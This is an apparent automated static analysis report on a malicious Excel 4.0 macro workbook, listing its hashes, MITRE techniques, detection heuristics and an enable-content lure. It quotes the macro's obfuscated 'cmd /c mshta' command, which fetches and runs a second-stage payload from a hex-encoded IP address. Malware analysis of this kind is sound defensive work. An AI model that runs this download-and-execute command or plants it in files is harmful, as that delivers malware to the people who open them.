Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 ac189732c8edfcb7…

MALICIOUS

Office (OLE) / .XLS

65.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: c9bc3027ad475789e7700a7776b31b99 SHA-1: a242af8cb2e6016f948e7992af8ca2c37babe272 SHA-256: ac189732c8edfcb71eebcaff4c224025d7de8f7d26571af3a9536da9d8bd46b5
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro sheet with an Auto_Open macro. The document body contains a lure to enable editing and content, which is a common tactic for macro-based malware. The extracted macro defines a string 'lll' which contains the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command is designed to download a second-stage payload from the specified URL. The macro also includes a HALT() function, indicating the end of the macro execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes